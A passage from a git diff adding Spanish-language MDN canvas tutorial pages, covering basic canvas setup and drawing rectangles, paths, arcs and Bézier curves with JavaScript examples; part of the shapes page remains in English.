+<p><strong>Note:</strong> Aunque las versiones anteriores del navegador Safari de Apple no requeria el cierre de la etiqueta, la especificacion indica que es necesaria, asi que tu deberias incluir esta para asegurarte la compatibilidad. Aquellas versiones de Safari (anteriores versiones a 2.0) renderizaran el contenido de regreso agregandolo al canvas mismo a no ser que utilice trucos de CSS para enmascararlo. Afortunadamente, los usuarios de aquellas versiones de Safari son raros hoy en dia.</p>
+</div>
+
+<p>Si el contenido alternativo no se necesita, un simple <code>&lt;canvas id="foo" ...&gt;&lt;/canvas&gt;</code> es completamente compatible con todos los navegadores que soportan canvas.</p>
+
+<h2 id="El_contexto_de_renderización">El contexto de renderización</h2>
+
+<p>{{HTMLElement("canvas")}} crea un lienzo de dibujo fijado que expone uno o mas contextos renderizados, los cuales son usados para crear y manipular el contenido mostrado. Nos enfocaremos en renderizacion de contextos 2D. Otros contextos deberan proveer diferentes tipos de renderizaciones; por ejemplo, <a href="/en-US/docs/Web/WebGL" title="/en-US/docs/Web/WebGL">WebGL</a> usa un 3D contexto ("experimental-webgl") basado sobre <a class="external" href="http://www.khronos.org/opengles/" rel="external" title="http://en.wikipedia.org/wiki/OpenGL_ES">OpenGL ES</a>.</p>
+
+<p>El canvas esta inicialmente en blanco. Para mostrar alguna cosa, un script primero necesita acceder al contexto a renderizar y dibujar sobre este. El elemento  {{HTMLElement("canvas")}} tiene un <a href="/en-US/docs/Web/API/HTMLCanvasElement#Methods" title="/en-US/docs/Web/API/HTMLCanvasElement#Methods">method</a> llamado  <code>getContext()</code>, usado para obtener el contexto a renderizar y sus funciones de dibujo. <code>getContext()</code> toma un parametro, el tipo de contexto. Para graficos 2D, como los que cubre este tutorial, su especificacion es "2d".</p>
+
+<pre class="brush: js">var canvas = document.getElementById('tutorial');
+var ctx = canvas.getContext('2d');
+</pre>
+
+<p>La primera linea regresa el nodo DOM para el elemento {{HTMLElement("canvas")}} llamando al metodo  {{domxref("document.getElementById()")}}. Una vez tu tienes el elemento nodo, tu puedes acceder al contexto de dibujo usando su metodo <code>getContext()</code>.</p>
+
+<div id="section_5">
+<h2 id="Comprobando_soporte">Comprobando soporte</h2>
+
+<p>El contenido de regreso que es mostrado en navegadores los cuales no soportan {{HTMLElement("canvas")}}. Para los Scripts puede tambien comprobarse su soporte desde la programacion por un simple test para la presencia del metodo <code>getContext()</code>. Con un trozo de codigo parecido al que viene debajo:</p>
+
+<pre class="brush: js">var canvas = document.getElementById('tutorial');
+
+if (canvas.getContext){
+  var ctx = canvas.getContext('2d');
+  // drawing code here
+} else {
+  // canvas-unsupported code here
+}
+</pre>
+</div>
+</div>
+
+<h2 id="Un_esqueleto_de_plantilla">Un esqueleto de plantilla</h2>
+
+<p>Aqui esta una plantilla minimalista, la cual usaremos como punto de partida para posteriores ejemplos.</p>
+
+<pre class="brush: html">&lt;html&gt;
+  &lt;head&gt;
+    &lt;title&gt;Canvas tutorial&lt;/title&gt;
+    &lt;script type="text/javascript"&gt;
+      function draw(){
+        var canvas = document.getElementById('tutorial');
+        if (canvas.getContext){
+          var ctx = canvas.getContext('2d');
+        }
+      }
+    &lt;/script&gt;
+    &lt;style type="text/css"&gt;
+      canvas { border: 1px solid black; }
+    &lt;/style&gt;
+  &lt;/head&gt;
+  &lt;body onload="draw();"&gt;
+    &lt;canvas id="tutorial" width="150" height="150"&gt;&lt;/canvas&gt;
+  &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p>El script incluye una funcion llamada draw(), la cual es ejecutada una vez finalizada la carga de la pagina; este esta hecho usando el evento load del documento. Esta funcion, o una parecida, podria tambien ser llamada usando {{domxref("window.setTimeout()")}}, {{domxref("window.setInterval()")}}, o cualquier otro manejador de evento, a lo largo de que la pagina esta siendo cargada la primera vez.</p>
+
+<p>Aqui esta como la plantilla se ve en acción:</p>
+
+<p>{{EmbedLiveSample("Un_esqueleto_de_plantilla", 160, 160)}}</p>
+
+<h2 id="Un_simple_ejemplo">Un simple ejemplo</h2>
+
+<p>Para comenzar, daremos un vistazo a un simple ejemplo que dibuja dos rectangulos que se intersectan, uno de los cuales tiene alpha transparencia. Exploraremos como esto trabaja en mas detalle en posteriores ejemplos.</p>
+
+<pre class="brush: html">&lt;html&gt;
+ &lt;head&gt;
+  &lt;script type="application/javascript"&gt;
+    function draw() {
+      var canvas = document.getElementById("canvas");
+      if (canvas.getContext) {
+        var ctx = canvas.getContext("2d");
+
+        ctx.fillStyle = "rgb(200,0,0)";
+        ctx.fillRect (10, 10, 55, 50);
+
+        ctx.fillStyle = "rgba(0, 0, 200, 0.5)";
+        ctx.fillRect (30, 30, 55, 50);
+      }
+    }
+  &lt;/script&gt;
+ &lt;/head&gt;
+ &lt;body onload="draw();"&gt;
+   &lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p>Este ejemplo quedaría así:</p>
+
+<p>{{EmbedLiveSample("Un_simple_ejemplo", 160, 160, "https://mdn.mozillademos.org/files/228/canvas_ex1.png")}}</p>
+
+<p>{{PreviousNext("Web/Guide/HTML/Canvas_tutorial", "Web/Guide/HTML/Canvas_tutorial/Dibujando_formas")}}</p>
diff --git a/files/es/web/guide/html/canvas_tutorial/dibujando_formas/index.html b/files/es/web/guide/html/canvas_tutorial/dibujando_formas/index.html
new file mode 100644
index 0000000000..3467533e93
--- /dev/null
+++ b/files/es/web/guide/html/canvas_tutorial/dibujando_formas/index.html
@@ -0,0 +1,513 @@
+---
+title: Dibujando formas con  canvas
+slug: Web/Guide/HTML/Canvas_tutorial/Dibujando_formas
+tags:
+  - Canvas
+  - HTML
+  - HTML Canvas
+  - HTML5
+  - Intermedio
+  - Tutorial
+  - graficos
+translation_of: Web/API/Canvas_API/Tutorial/Drawing_shapes
+---
+<div>{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Basic_usage", "Web/API/Canvas_API/Tutorial/Applying_styles_and_colors")}}</div>
+
+<div class="summary">
+<p>Ahora que hemos preparado nuestro <a href="https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API/Tutorial/Basic_usage">entorno canvas</a>, podemos entrar en detalles de como dibujar en el canvas. Al final de este artículo, habrás aprendido  como dibujar rectángulos, triángulos, líneas, arcos y curvas, dándote familiaridad con algunas figuras básicas. Trabajar con rutas es esencial cuando dibujamos objetos sobre el canvas y veremos como se puede hacer eso.</p>
+</div>
+
+<h2 id="La_cuadrícula">La cuadrícula</h2>
+
+<p><img alt="" class="internal" src="https://mdn.mozillademos.org/files/224/Canvas_default_grid.png" style="float: right; height: 220px; width: 220px;">Antes de que podamos empezar a dibujar, necesitamos hablar sobre la cuadrícula del canvas o el <strong>espacio de coordenadas</strong>. La plantilla HTML de la página anterior tenía un elemento canvas con un 'height' y un 'width' de 150 píxeles. A la derecha, puedes ver este canvas con la cuadrícula por defecto superpuesta. Normalmente una unidad en la cuadrícula corresponde a un píxel en el elemento canvas. El origen de esta cuadrícula está posicionado en la esquina superior izquierda (coordenada (0,0)). Todos los elementos estan posicionados de manera relativa a este punto, así que la posición de la esquina superior izquierda del cuadrado azul es de 'x' pixeles desde la izquierda y 'y' pixeles desde arriba (coordenada (x,y)). Mas tarde en este tutorial veremos como trasladar el punto de origen a una posicion diferente, girar la cuadrícula e incluso darle una escala diferente. Por ahora nos dedicaremos a lo mas común.</p>
+
+<h2 id="Dibujando_rectángulos">Dibujando rectángulos</h2>
+
+<p>A diferencia de <a href="/en-US/docs/SVG" rel="internal" title="en/SVG">SVG</a>, {{HTMLElement("canvas")}} solo soporta una forma primitiva: rectangulos. Todas las otras formas deben ser creadas por la combinación de uno o más trazos, listas de puntos conectados por líneas. Afortunadamente, tenemos una variedad de funciones para dibujar trazos  que hacen posible componer formas muy complejas.</p>
+
+<div id="section_3">
+<p>Primero veamos el rectángulo. Aquí hay tres funciones que podemos usar en el canvas para dibujarlos:</p>
+
+<dl>
+ <dt><code>fillRect(<em>x</em>, <em>y</em>, <em>width</em>, <em>height</em>)</code></dt>
+ <dd>Dibuja un rectángulo relleno.</dd>
+ <dt><code>strokeRect(<em>x</em>, <em>y</em>, <em>width</em>, <em>height</em>)</code></dt>
+ <dd>Dibuja el contorno de un rectángulo.</dd>
+ <dt><code>clearRect(<em>x</em>, <em>y</em>, <em>width</em>, <em>height</em>)</code></dt>
+ <dd>Borra un área rectangular especificada, dejándola totalmente transparente.</dd>
+</dl>
+
+<p>Cada una de estas tres funciones toma los mismos parámetros. X e Y especifican la posición del canvas (en relación con el origen) desde la esquina superior izquierda del rectángulo. Tambien especifica los parámetros de anchura y altura que proporcionan el tamaño del rectángulo.</p>
+
+<p>A continuación se muestra la función draw() de la página anterior, pero ahora haciendo uso de estas tres funciones.</p>
+
+<h3 id="Ejemplo_de_forma_rectangular">Ejemplo de forma rectangular</h3>
+
+<div class="hidden">
+<pre class="brush: html">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+   &lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<pre class="brush: js">function draw() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext) {
+    var ctx = canvas.getContext('2d');
+
+    ctx.fillRect(25,25,100,100);
+    ctx.clearRect(45,45,60,60);
+    ctx.strokeRect(50,50,50,50);
+  }
+}</pre>
+
+<p>El resultado de este ejemplo se muestra a continuación.</p>
+
+<p>{{EmbedLiveSample("Rectangular_shape_example", 160, 160, "https://mdn.mozillademos.org/files/245/Canvas_rect.png")}}</p>
+
+<p>La función fillRect() dibuja un cuadrado grande negro de 100 píxeles en cada lado. La función clearRect() luego borra un cuadrado de 60x60 píxeles del centro, y luego strokeRect() es llamado para crear un contorno rectangular de 50x50 píxeles dentro del cuadrado borrado.</p>
+
+<p>En las próximas páginas veremos dos métodos alternativos para clearRect(), y también veremos cómo cambiar el color y el trazo de diferentes formas.</p>
+
+<p>A diferencia de las funciones de trazo que veremos en la próxima sección, las tres funciones del rectángulo dibujan inmediatamente en el canvas.</p>
+
+<h2 id="Dibujando_trazos">Dibujando trazos</h2>
+
+<p>Crear formas mediante trazos requiere algunos pasos adicionales.</p>
+
+<ol>
+ <li>Primero, se crea el trazo.</li>
+ <li>A continuación, se usan <a href="/es/docs/Web/API/CanvasRenderingContext2D#Paths">comandos de dibujo</a> para dibujar dentro del trazo.</li>
+ <li>Después, se cierra el trazo.</li>
+ <li>Una vez el trazo ha sido creado, se le puede dar contorno o relleno para renderizarlo.</li>
+</ol>
+
+<p>Estas son las funciones que se usan para llevar a cabo estos pasos:</p>
+
+<dl>
+ <dt><code>beginPath()</code></dt>
+ <dd>Crea un nuevo trazo. Una vez creado, los comandos de dibujo futuros son aplicados dentro del trazo y usados para construir el nuevo trazo hacia arriba.</dd>
+ <dt><code>closePath()</code></dt>
+ <dd>Cierra el trazo de tal forma que los comandos de dibujo futuros son, una vez más redireccionados al contexto.</dd>
+ <dt><code>stroke()</code></dt>
+ <dd>Dibuja el contorno de la forma.</dd>
+ <dt><code>fill()</code></dt>
+ <dd>Dibuja una forma solida rellenando el área del trazo.</dd>
+</dl>
+
+<p>El primer paso para crear un trazo es llamar la función <code>beginPath()</code>. Internamente, los trazos son guardados como una lista de subtrazos (lineas, arcos, etc) los cuales juntos crean una forma. Todo tiempo que sea llamado este método la lista es reseteada y podemos empezar a dibujar nuevas formas.</p>
+
+<div class="note"><strong>Nota:</strong> Cuando el trazo actual este vacio, como aparece inmediatamente despues de llamar la función <code>beginPath()</code>, o en un canvas nuevo, el primer comando para la construcción del trazo es siempre tratada como un <code>moveTo()</code>, independientemente de cual es el trazo actual. Por esta razón casi siempre querrás específicamente setear tu posición de inicio despues de resetear un trazo.</div>
+
+<p>El segundo paso es llamar los métodos que específican los trazos a crear. Los veremos en seguida.</p>
+
+<p>El tercero, y un paso opcional, es llamar a la función <code>closePath()</code>. Este método trata de cerrar la forma dibujando una linea recta desde el punto actual al inicio. Si la forma ya ha sido cerrada o hay solamente un punto en la lista, la función hace nada.</p>
+
+<div class="note"><strong>Nota:</strong> Cuando llamas a la función <code>fill()</code>, cualquier forma abierta es cerrada automaticamente, de tal forma que no tendrás que llamar a la función <code>closePath()</code>. Este no es el caso cuando llamas a la función <code>stroke()</code>.</div>
+
+<h3 id="Dibujando_un_triangulo">Dibujando un triangulo</h3>
+
+<p>Por ejemplo, el código para dibujar un triangulo luciría como el siguiente:</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+   &lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<pre class="brush: js">function draw() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext){
+    var ctx = canvas.getContext('2d');
+
+    ctx.beginPath();
+    ctx.moveTo(75,50);
+    ctx.lineTo(100,75);
+    ctx.lineTo(100,25);
+    ctx.closePath();
+    ctx.fill();
+  }
+}
+</pre>
+
+<p>El resultado lucirá así:</p>
+
+<p>{{EmbedLiveSample("Drawing_a_triangle", 160, 160)}}</p>
+
+<h3 id="Moviendo_la_pluma">Moviendo la pluma</h3>
+
+<p>Una función muy útil, la cual realmente no dibuja algo pero convierte parte de la lista de trazos descrita arriba, es la función <code>moveTo()</code>. Puedes, probablemente, pensar mejor de esta como levantar el lápiz o la pluma de un punto en un pedazo de papel y ponerlo en el siguiente punto.</p>
+
+<dl>
+ <dt><code>moveTo(<em>x</em>, <em>y</em>)</code></dt>
+ <dd>Mueve la pluma a las coordenadas específicadas por <code>x</code> e <code>y</code>.</dd>
+</dl>
+
+<p>Cuando el canvas es inicializado ó la función <code>beginPath()</code> es llamada, querrás usar la función <code>moveTo()</code> para colocar el punto de inicio en alguna otra parte. Podríamos usar <code>moveTo()</code> para dibujar trazos sin conectar. Toma un vistazo a la cara sonriente de abajo. He marcado los lugares donde use el método <code>moveTo()</code> (las líneas rojas).</p>
+
+<p>Para intentar esto por tí mismo, puedes usar el pequeño código de abajo. Solo pégalo dentro de la función <code>draw()</code> que vimos antes.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+   &lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<pre class="brush: js">function draw() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext){
+    var ctx = canvas.getContext('2d');
+
+    ctx.beginPath();
+    ctx.arc(75,75,50,0,Math.PI*2,true); // Círculo externo
+    ctx.moveTo(110,75);
+    ctx.arc(75,75,35,0,Math.PI,false);   // Boca (contra reloj)
+    ctx.moveTo(65,65);
+    ctx.arc(60,65,5,0,Math.PI*2,true);  // Ojo izquierdo
+    ctx.moveTo(95,65);
+    ctx.arc(90,65,5,0,Math.PI*2,true);  // Ojo derecho
+    ctx.stroke();
+  }
+}
+</pre>
+
+<p>El resultado luce así:</p>
+
+<p>{{EmbedLiveSample("Moving_the_pen", 160, 160, "https://mdn.mozillademos.org/files/252/Canvas_smiley.png")}}</p>
+
+<p>Si quisieras ver las líneas conectadas, puedes remover las líneas de código que llaman <code>moveTo()</code>.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> Para aprender más sobre la función <code>arc()</code>, vea los {{anch("Arcs")}} a continuación.</p>
+</div>
+
+<h3 id="Líneas">Líneas</h3>
+
+<p>Para dibujar lineas rectas usa el método <code>lineTo()</code>.</p>
+
+<dl>
+ <dt><code>lineTo(<em>x</em>, <em>y</em>)</code></dt>
+ <dd>Dibuja una línea desde la posición actual del dibujo a la posición específicada por <code>x</code> e <code>y</code>.</dd>
+</dl>
+
+<p>Este método toma dos argumentos <code>x</code> e <code>y</code>, los cuales son las coordenadas del punto final de la linea. El punto de inicio es dependiente de los trazos previamente dibujados, donde el punto final del trazo anterior es el punto inicial para el siguiente, etc. El punto de inicio también puede ser cambiado usando el método <code>moveTo()</code>.</p>
+
+<p>El ejemplo siguiente dibuja dos triángulos, uno rellenado y el otro contorneado.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+   &lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<pre class="brush: js">function draw() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext){
+    var ctx = canvas.getContext('2d');
+
+    // Triángulo rellenado
+    ctx.beginPath();
+    ctx.moveTo(25,25);
+    ctx.lineTo(105,25);
+    ctx.lineTo(25,105);
+    ctx.fill();
+
+    // Triángulo contorneado
+    ctx.beginPath();
+    ctx.moveTo(125,125);
+    ctx.lineTo(125,45);
+    ctx.lineTo(45,125);
+    ctx.closePath();
+    ctx.stroke();
+  }
+}
+</pre>
+
+<p>Esto comienza llamando a <code>beginPath()</code> para empezar una nueva forma. Entonces usamos el método <code>moveTo()</code> para mover el punto de inicio a la posición deseada. Debajo de esto dos líneas son dibujadas lo cual pinta dos lados del triángulo.</p>
+
+<p>{{EmbedLiveSample("Lines", 160, 160, "https://mdn.mozillademos.org/files/238/Canvas_lineTo.png")}}</p>
+
+<p>Te darás cuenta de la diferencia entre el triángulo rellenado y el contorneado. Esto es, como se menciona arriba, porque las formas son automáticamente cerradas cuando un trazo es rellenado, pero no cuando esta contorneado. Si sacamos el <code>closePath()</code> para el triángulo contorneado, solamente dos líneas serian dibujadas, no un triángulo completo.</p>
+
+<h3 id="Arcos">Arcos</h3>
+
+<p>Para dibujar arcos o circulos usamos el método <code>arc()</code>. También puedes usar <code>arcTo()</code>, pero su implementación es un poco menos confiable, así que no lo cubriremos aquí.</p>
+
+<dl>
+ <dt><code>arc(<em>x</em>, <em>y</em>, <em>radius</em>, <em>startAngle</em>, <em>endAngle</em>, <em>anticlockwise</em>)</code></dt>
+ <dd>Dibuja un arco.</dd>
+</dl>
+
+<p>Este método toma cinco parámetros: <code>x</code> e <code>y</code> son las coordenadas del centro del círculo en el cual el arco debería ser dibujado. <code>radius</code> se explica por sí solo. Los parámetros <code>startAngle</code> y <code>endAngle</code> definen el punto de inicio y punto final del arco en radianes a lo largo de la curva del círculo. Estos son medidos desde el eje x. El parámetro <code>anticlockwise</code> es un valor Booleano el cual cuando es verdadero (<code>true</code>) dibuja el arco al contrario de las manecillas del reloj, de lo contrario el arco es dibujado al sentido de las manecillas del reloj.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Los ángulos en la función del arco (<code>arc</code>) son medidos en radianes, no en grados. Para convertir grados a radianes puedes usar la siguiente expresión en Javascript: <code>radians = (Math.PI/180)*degrees</code>.</p>
+</div>
+
+<p>El siguiente ejemplo es un poco más complejo que otros que hemos visto arriba. Esto dibuja 12 diferentes arcos, todos con diferentes ángulos y rellenos.</p>
+
+<p>Las dos sentencias <code>for</code> son para iterar a través de las filas y columnas de los arcos. Para cada arco, empezamos un nuevo trazo llamando <code>beginPath()</code>. En el código, cada uno de los parámetros para el arco estan en una variable para su entendimiento, pero no es necesario esto en la vida real.</p>
+
+<p>Las coordenadas <code>x</code> e <code>y</code> deberían ser suficientemente claras. <code>radius</code> y <code>startAngle</code> estan arreglados. El <code>endAngle</code> inicia en 180 grados (la mitad de un círculo) en la primera columna y es incrementado por pasos de 90 grados, culminando en un círculo completo en la última columna.</p>
+
+<p>El parámetro <code>clockwise</code> resulta, en la primera y tercera fila siendo dibujado como un arco al sentido de las manecillas de reloj y la segunda y cuarta fila como arcos al contrario de las manecillas de reloj. Finalmente, la estructura <code>if</code> hace los arcos contorneados a la mitad desde arriba y los arcos hacia abajorellenados a la mitad.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+   &lt;canvas id="canvas" width="150" height="200"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<pre class="brush: js">function draw() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext){
+    var ctx = canvas.getContext('2d');
+
+    for(var i=0;i&lt;4;i++){
+      for(var j=0;j&lt;3;j++){
+        ctx.beginPath();
+        var x              = 25+j*50;               // Coordenada x
+        var y              = 25+i*50;               // Coordenada y
+        var radius         = 20;                    // Radio del arco
+        var startAngle     = 0;                     // Punto inicial del círculo
+        var endAngle       = Math.PI+(Math.PI*j)/2; // Punto final del círculo
+        var anticlockwise  = i%2==0 ? false : true; // Sentido de las manecillas del reloj y contrario a ellas
+
+        ctx.arc(x, y, radius, startAngle, endAngle, anticlockwise);
+
+        if (i&gt;1){
+          ctx.fill();
+        } else {
+          ctx.stroke();
+        }
+      }
+    }
+  }
+}
+</pre>
+{{EmbedLiveSample("Arcs", 160, 210, "https://mdn.mozillademos.org/files/204/Canvas_arc.png")}}
+
+<h3 id="Curvas_Bezier_curvas_cuadráticas">Curvas Bezier curvas cuadráticas</h3>
+
+<p>El siguiente tipo de trazos disponibles son las  <a class="external" href="http://en.wikipedia.org/wiki/B%C3%A9zier_curve" rel="external" title="http://en.wikipedia.org/wiki/B%C3%A9zier_curve">curvas Bézier</a>, en sus dos variantes, cúbicas y cuadráticas. Son usadas generalmente para dibujar complejas formas orgánicas.</p>
+
+<dl>
+ <dt><code>quadraticCurveTo(cp1x, cp1y, x, y)</code></dt>
+ <dd><span id="result_box" lang="es"><span>Dibuja una curva cuadrática de Bézier desde la posición actual de la pluma hasta el punto final especificado por <code>x</code> e <code>y</code>, utilizando el punto de control especificado por <code>cp1x</code> y <code>cp1y</code>.</span></span></dd>
+ <dt><code>bezierCurveTo(cp1x, cp1y, cp2x, cp2y, x, y)</code></dt>
+ <dd>Dibuja una curva cúbica de Bézier desde la posición actual de la pluma hasta el punto final especificado por <code>x</code> e <code>y</code>, utilizando los puntos de control especificados por (<code>cp1x</code>, <code>cp1y</code>) y (<code>cp2x</code>, <code>cp2y</code>).</dd>
+</dl>
+
+<p><img alt="" class="internal" src="https://mdn.mozillademos.org/files/223/Canvas_curves.png" style="float: right; height: 190px; width: 190px;">La diferencia entre estos puede describirse mejor utilizando la imagen de la derecha. Una curva cuadrática de Bézier tiene un punto inicial y un punto final (puntos azules) y un solo <strong>punto de control</strong> (indicado por el punto rojo), mientras que una curva cúbica de Bézier utiliza dos puntos de control.</p>
+
+<p>Los parámetros <code>x</code> e <code>y</code> de ambos métodos son las coordenadas del punto final. <code>cp1x</code> y <code>cp1y</code> son las coordenadas del primer punto de control, y <code>cp2x</code> y <code>cp2y</code> son las coordenadas del segundo punto de control.</p>
+
+<p>El uso de curvas cuadráticas y cúbicas Bézier puede ser bastante difícil, ya que a diferencia del software de dibujo vectorial como Adobe Illustrator, no tenemos respuesta visual directa en cuanto a lo que estamos haciendo. Esto hace bastante difícil dibujar formas complejas. En el siguiente ejemplo, vamos a dibujar algunas formas orgánicas simples, pero si tienes el tiempo y, sobre todo, la paciencia, se pueden crear formas mucho más complejas.</p>
+
+<p>No hay nada muy difícil en estos ejemplos. En ambos casos vemos una sucesión de curvas que se dibujan que finalmente dan lugar a una forma completa.</p>
+
+<h4 id="Curvas_de_Bezier_cuadraticas">Curvas de Bezier cuadraticas</h4>
+
+<p>Este ejemplo usa multiples curvas cuadraticas de Bézier para renderizar un globo de voz.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+   &lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<pre class="brush: js">function draw() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext) {
+    var ctx = canvas.getContext('2d');
+
+    // Quadratric curves example
+    ctx.beginPath();
+    ctx.moveTo(75,25);
+    ctx.quadraticCurveTo(25,25,25,62.5);
+    ctx.quadraticCurveTo(25,100,50,100);
+    ctx.quadraticCurveTo(50,120,30,125);
+    ctx.quadraticCurveTo(60,120,65,100);
+    ctx.quadraticCurveTo(125,100,125,62.5);
+    ctx.quadraticCurveTo(125,25,75,25);
+    ctx.stroke();
+  }
+}
+</pre>
+
+<p>{{EmbedLiveSample("Quadratic_Bezier_curves", 160, 160, "https://mdn.mozillademos.org/files/243/Canvas_quadratic.png")}}</p>
+
+<h4 id="Curvas_cúbicas_Bezier">Curvas cúbicas Bezier</h4>
+
+<p>Este ejemplo dibuja un corazon usanco curvas cúbicas de Bézier.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+   &lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<pre class="brush: js">function draw() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext){
+    var ctx = canvas.getContext('2d');
+
+    // Quadratric curves example
+    ctx.beginPath();
+    ctx.moveTo(75,40);
+    ctx.bezierCurveTo(75,37,70,25,50,25);
+    ctx.bezierCurveTo(20,25,20,62.5,20,62.5);
+    ctx.bezierCurveTo(20,80,40,102,75,120);
+    ctx.bezierCurveTo(110,102,130,80,130,62.5);
+    ctx.bezierCurveTo(130,62.5,130,25,100,25);
+    ctx.bezierCurveTo(85,25,75,37,75,40);
+    ctx.fill();
+  }
+}
+</pre>
+
+<p>{{EmbedLiveSample("Cubic_Bezier_curves", 160, 160, "https://mdn.mozillademos.org/files/207/Canvas_bezier.png")}}</p>
+
+<h3 id="Rectangles">Rectangles</h3>
+
+<p>In addition to the three methods we saw in {{anch("Drawing rectangles")}}, which draw rectangular shapes directly to the canvas, there's also the <code>rect()</code> method, which adds a rectangular path to a currently open path.</p>
+
+<dl>
+ <dt><code>rect(<em>x</em>, <em>y</em>, <em>width</em>, <em>height</em>)</code></dt>
+ <dd>Draws a rectangle whose top-left corner is specified by (<code>x</code>, <code>y</code>) with the specified <code>width</code> and <code>height</code>.</dd>
+</dl>
+
+<p>When this method is executed, the <code>moveTo()</code> method is automatically called with the parameters (0,0). In other words, the current pen position is automatically reset to the default coordinates.</p>
+
+<h3 id="Making_combinations">Making combinations</h3>
+
+<p>So far, each example on this page has used only one type of path function per shape. However, there's no limitation to the number or types of paths you can use to create a shape. So in this final example, let's combine all of the path functions to make a set of very famous game characters.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+   &lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<pre class="brush: js">function draw() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext){
+    var ctx = canvas.getContext('2d');
+
+    roundedRect(ctx,12,12,150,150,15);
+    roundedRect(ctx,19,19,150,150,9);
+    roundedRect(ctx,53,53,49,33,10);
+    roundedRect(ctx,53,119,49,16,6);
+    roundedRect(ctx,135,53,49,33,10);
+    roundedRect(ctx,135,119,25,49,10);
+
+    ctx.beginPath();
+    ctx.arc(37,37,13,Math.PI/7,-Math.PI/7,false);
+    ctx.lineTo(31,37);
+    ctx.fill();
+
+    for(var i=0;i&lt;8;i++){
+      ctx.fillRect(51+i*16,35,4,4);
+    }
+
+    for(i=0;i&lt;6;i++){
+      ctx.fillRect(115,51+i*16,4,4);
+    }
+
+    for(i=0;i&lt;8;i++){
+      ctx.fillRect(51+i*16,99,4,4);
+    }
+
+    ctx.beginPath();
+    ctx.moveTo(83,116);
+    ctx.lineTo(83,102);
+    ctx.bezierCurveTo(83,94,89,88,97,88);
+    ctx.bezierCurveTo(105,88,111,94,111,102);
+    ctx.lineTo(111,116);
+    ctx.lineTo(106.333,111.333);
+    ctx.lineTo(101.666,116);
+    ctx.lineTo(97,111.333);
+    ctx.lineTo(92.333,116);
+    ctx.lineTo(87.666,111.333);
+    ctx.lineTo(83,116);
+    ctx.fill();
+
+    ctx.fillStyle = "white";
+    ctx.beginPath();
+    ctx.moveTo(91,96);
+    ctx.bezierCurveTo(88,96,87,99,87,101);
+    ctx.bezierCurveTo(87,103,88,106,91,106);
+    ctx.bezierCurveTo(94,106,95,103,95,101);
+    ctx.bezierCurveTo(95,99,94,96,91,96);
+    ctx.moveTo(103,96);
+    ctx.bezierCurveTo(100,96,99,99,99,101);
+    ctx.bezierCurveTo(99,103,100,106,103,106);
+    ctx.bezierCurveTo(106,106,107,103,107,101);
+    ctx.bezierCurveTo(107,99,106,96,103,96);
+    ctx.fill();
+
+    ctx.fillStyle = "black";
+    ctx.beginPath();
+    ctx.arc(101,102,2,0,Math.PI*2,true);
+    ctx.fill();
+
+    ctx.beginPath();
+    ctx.arc(89,102,2,0,Math.PI*2,true);
+    ctx.fill();
+  }
+}
+
+// A utility function to draw a rectangle with rounded corners.
+
+function roundedRect(ctx,x,y,width,height,radius){
+  ctx.beginPath();
+  ctx.moveTo(x,y+radius);
+  ctx.lineTo(x,y+height-radius);
+  ctx.quadraticCurveTo(x,y+height,x+radius,y+height);
+  ctx.lineTo(x+width-radius,y+height);
+  ctx.quadraticCurveTo(x+width,y+height,x+width,y+height-radius);
+  ctx.lineTo(x+width,y+radius);
+  ctx.quadraticCurveTo(x+width,y,x+width-radius,y);
+  ctx.lineTo(x+radius,y);
+  ctx.quadraticCurveTo(x,y,x,y+radius);
+  ctx.stroke();
+}
+</pre>
+
+<div id="section_18">
+<p>The resulting image looks like this:</p>
+
+<p>{{EmbedLiveSample("Making_combinations", 160, 160)}}</p>
+
